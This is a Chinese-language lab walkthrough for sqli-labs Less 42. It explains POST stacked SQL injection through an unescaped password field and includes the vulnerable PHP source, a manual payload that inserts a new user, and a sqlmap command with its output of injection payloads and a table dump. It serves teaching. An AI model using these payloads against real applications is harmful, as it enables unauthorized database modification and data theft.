当前位置: 首页 > news >正文

sqli-labs通关笔记-第42关 POST字符型堆叠注入(单引号闭合 手工注入+脚本注入两种方法)

目录

一、堆叠注入

二、源码分析

1、代码审计

2、SQL注入安全性分析

三、渗透实战

1、进入靶场

2、正确用户名密码登录

3、堆叠注入

4、查看数据库

四、sqlmap渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节使用手注法和脚本法共两种方法对第42关Less 42基于POST字符型的堆叠注入关卡进行渗透实战。  

一、堆叠注入

堆叠注入是一种特殊的SQL注入技术,攻击者通过在原始查询后添加分号(;),然后拼接额外的SQL语句实现多语句执行。与普通注入不同,堆叠注入允许攻击者一次执行多个完全独立的SQL命令,从而极大扩展了攻击面。这种技术的关键在于数据库服务器支持多语句执行,例如MySQL的mysqli_multi_query()函数或SQL Server的默认配置都允许这种操作。

分类说明
技术名称堆叠注入(Stacked Injection)
核心原理通过在原始SQL查询后添加分号(;)拼接额外SQL语句,实现多语句连续执行。
攻击示例SELECT * FROM users WHERE id=1; DROP TABLE users--
关键依赖数据库服务器需支持多语句执行(如MySQL的mysqli_multi_query())。
典型危害数据删除(DELETE)、表结构修改(ALTER)、权限提升(GRANT)等。
高危操作执行任意数据库命令,远超普通注入的数据泄露范围。
常见支持场景SQL Server(默认支持)、MySQL(需特定驱动如PDO/mysqli启用多语句功能)。
不支持场景PHP的mysql_query()函数(默认禁用多语句)。
防御措施1. 禁用多语句执行功能
2. 严格使用参数化查询
3. 实施最小权限原则。
技术优势可突破单语句限制,实现更复杂的数据库操作。
检测难度较普通注入更难检测,需监控异常分号和多语句执行行为。

二、源码分析

1、代码审计

本关卡Less42是基于POST字符型的堆叠注入关卡,如下所示。

Less42关卡的login源码功能是简单基于用户名和密码的登录页面,详细注释过的源码如下所示。

<html>
<head>
</head>
<body bgcolor="#000000">
<!-- 页面样式设置 -->
<font size="3" color="#FFFF00">
<div align="right"><!-- 首页链接 --><a style="font-size:.8em;color:#FFFF00" href='index.php'><img src="../images/Home.png" height='45'; width='45'></br>HOME</a>
</div><?PHP
// 开启会话
session_start();// 包含数据库连接配置
include("../sql-connections/db-creds.inc");/*** 用户登录验证函数* 存在SQL注入风险*/
function sqllogin($host, $dbuser, $dbpass, $dbname) {// 建立数据库连接(使用mysqli支持堆叠查询)$con1 = mysqli_connect($host, $dbuser, $dbpass, $dbname);// 对用户名进行转义(但密码未转义)$username = mysqli_real_escape_string($con1, $_POST["login_user"]);$password = $_POST["login_password"]; // 密码直接使用,存在注入风险// 连接错误处理if (mysqli_connect_errno($con1)) {echo "Failed to connect to MySQL: " . mysqli_connect_error();} else {@mysqli_select_db($con1, $dbname) or die("Unable to connect to the database ######: ");}// 构造SQL查询(密码部分可注入)$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";// 执行多语句查询(高危操作)if (@mysqli_multi_query($con1, $sql)) {// 获取第一个结果集if($result = @mysqli_store_result($con1)) {if($row = @mysqli_fetch_row($result)) {if ($row[1]) {  // 如果查询到用户return $row[1];  // 返回用户名} else {return 0;  // 无匹配用户}}} else {// 显示数据库错误(安全隐患)echo '<font size="5" color="#FFFF00">';print_r(mysqli_error($con1));echo "</font>";  }} else {// 查询错误处理echo '<font size="5" color="#FFFF00">';print_r(mysqli_error($con1));echo "</font>";  }
}// 执行登录验证
$login = sqllogin($host, $dbuser, $dbpass, $dbname);if (!$login == 0) {  // 登录成功$_SESSION["username"] = $login;  // 设置会话变量setcookie("Auth", 1, time()+3600);  // 设置认证cookie(1小时过期)header('Location: logged-in.php');  // 跳转到登录后页面
} else {  // 登录失败
?><!-- 失败显示图片 --><tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;"><center><img src="../images/slap1.jpg"></center></p></td></tr>
<?php
} 
?>
</body>
</html>

本关卡实现了一个简单的用户登录系统,但存在堆叠SQL注入的风险。系统通过表单接收用户名和密码,然后查询数据库进行验证,登录成功后设置会话cookie并跳转页面,失败则显示错误图片。系统在登录成功后,会将用户名存入session并设置一个简单的认证cookie。

2、SQL注入安全性分析

很明显本关卡存在堆叠查询(Stacked Query)SQL注入风险,主要的安全问题在于通过POST传入了两个参数,分别为用户名和密码。不过代码仅对用户名参数使用了mysqli_real_escape_string转义过滤,而对密码字段没有进行任何过滤处理,直接拼接到SQL语句中导致存在SQL注入风险。因此攻击者可以通过构造特殊密码来绕过认证或执行恶意SQL命令。此外,代码使用了支持多语句查询的mysqli_multi_query函数,进一步增加了堆叠注入的风险。具体如下所示。

  • 堆叠注入存在根源

    • 使用mysqli_multi_query()函数执行SQL查询。

    • 未对用户输入的$password进行任何过滤或转义。

  • 堆叠注入利用方式

    • 通过分号(;)分隔可以执行多条SQL语句。

    • 攻击者可执行任意SQL命令:SELECT...; INSERT...; UPDATE...; DROP...等。

    • 支持所有数据库操作,不仅仅是数据查询。

    • 闭合方式为单引号括号。

三、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page3堆叠注入,如下图红框所示。 

其中第42关在堆叠挑战关卡“SQLi-LABS Page-3 (Stacked Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-2.html#fm_imagemap

点击上图红框的Less42关卡,进入到靶场的第42关卡字符型堆叠注入关卡,页面显示登录框,需要输入用户名和密码,具体如下所示。

http://192.168.59.1/sqli-labs/Less-42

2、正确用户名密码登录

输入用户名admin,密码mooyuan123456,查看元素-网络,此时点击登录后提示进入登录成功,当前用户为admin,此时进入了修改密码的页面,具体如下图所示。

此时发现登录过程中产生两个报文,第一个是登录的POST报文,参数分别为用户名和密码;第二个报文是GET型的logged-in.php,登录成功会重定向到此页面。使用burpsuite,找到登录的POST报文,如下所示。

此时注意登录报文POST参数内容如下所示。

login_user=admin&login_password=mooyuan123456&mysubmit=Login

将报文发送到repeater模块,右键将报文通过copy-to-file保存到sqli-labs42.txt。

第二个报文为logged-in.php,登录成功会重定向到此页面,如下所示。

此时点击login_out退出登录,如下所示。

点击退出登录后再次回到登录页面,如下所示 

3、堆叠注入

根据源码分析可知本关卡具有堆叠注入安全风险,闭合方式为单引号,目标是通过堆叠注入命令插入一个新的用户,id为42,用户名为mooyuan_42,密码为mooyuan,此时密码内容如下所示。

mooyuan123456';insert into users(id,username,password) values ('42','mooyuan_42','mooyuan')#

这时候用户名设置为admin,点击登录后页面显示我们admin账户登录成功,渗透成功。 

此时buipsuite中找到此POST报文,POST参数内容如下所示。

4、查看数据库

使用navicat查看数据库的users表,如下所示新增用户id为42,用户名为mooyuan_42,密码为mooyuan,说明渗透成功。

四、sqlmap渗透实战

我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。

sqlmap -r sqli-labs42.txt  --current-db --dump --batch

其中sqli-labs42.txt中的注入点被修改为如下所示,特别注意此时在login_password参数后面增加*字符,标识login_password为注入点。

POST /sqli-labs/Less-42/login.php HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-42/
Cookie: PHPSESSID=m0giifsk3g3t8p9p7j9g0klb42
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 60login_user=admin&login_password=mooyuan123456*&mysubmit=Login

sqlmap渗透成功,可以通过布尔盲注、报错法、时间盲注等方法渗透成功,具体信息如下所示。

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 223 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: login_user=admin&login_password=mooyuan123456' AND 9874=9874 AND 'jQsJ'='jQsJ&mysubmit=LoginType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: login_user=admin&login_password=mooyuan123456' AND GTID_SUBSET(CONCAT(0x71786a7a71,(SELECT (ELT(9485=9485,1))),0x717a7a6271),9485) AND 'BUTa'='BUTa&mysubmit=LoginType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: login_user=admin&login_password=mooyuan123456' AND (SELECT 9644 FROM (SELECT(SLEEP(5)))puAa) AND 'FQiw'='FQiw&mysubmit=Login
---
[21:33:02] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[21:33:02] [INFO] fetching current database
[21:33:02] [INFO] retrieved: 'security'
current database: 'security'Table: emails
[8 entries]
+----+------------------------+
| id | email_id               |
+----+------------------------+
| 1  | Dumb@dhakkan.com       |
| 2  | Angel@iloveu.com       |
| 3  | Dummy@dhakkan.local    |
| 4  | secure@dhakkan.local   |
| 5  | stupid@dhakkan.local   |
| 6  | superman@dhakkan.local |
| 7  | batman@dhakkan.local   |
| 8  | admin@dhakkan.com      |
+----+------------------------+
http://www.dtcms.com/a/325894.html

相关文章:

  • pdf转word教程
  • ERA5---MATLAB处理水汽数据与臭氧数据的读取与重采样-重复性工作
  • 基于模型预测控制的主蒸汽温度单步预测MATLAB实现
  • 大数据系统架构模式:驾驭海量数据的工程范式
  • 蓝桥杯算法之搜索章 - 4
  • 基于领域事件驱动的微服务架构设计与实践
  • 鸿蒙Des 加密解密 C++版本
  • POI导入时相关的EXCEL校验
  • 使用行为树控制机器人(三) ——通用端口
  • Python面试题及详细答案150道(41-55) -- 面向对象编程篇
  • 《基于Redis实现高效消息队列的完整指南》
  • 在 RHEL9 上搭建企业级 Web 服务(Tomcat)
  • Java Selenium 自动打开浏览器保存截图
  • Spring Cloud系列—Gateway统一服务入口
  • 案例分析2:上层应用不稳定提示注册失败
  • Python(9)-- 异常模块与包
  • CLIP,BLIP,SigLIP技术详解【二】
  • Flink + Hologres构建实时数仓
  • 机器学习:基于OpenCV和Python的智能图像处理 实战
  • 【05】昊一源科技——昊一源科技 嵌入式笔试, 校招,题目记录及解析
  • 提示词注入攻防全解析——从攻击原理到防御浅谈
  • gophis钓鱼
  • 深入解析 resolv.conf 文件:DNS 配置的核心
  • 区间修改 - 差分
  • 在Linux中使用docker-compose快速搭建Prometheus监控系统
  • foreach 块并行加速
  • 澳洲增高营养品排行榜
  • 小波卷积YYDS!小波变换+CNN创新结合
  • 无人机航拍数据集|第11期 无人机人员行为目标检测YOLO数据集1868张yolov11/yolov8/yolov5可训练
  • 【bug】diff-gaussian-rasterization Windows下编译 bug 解决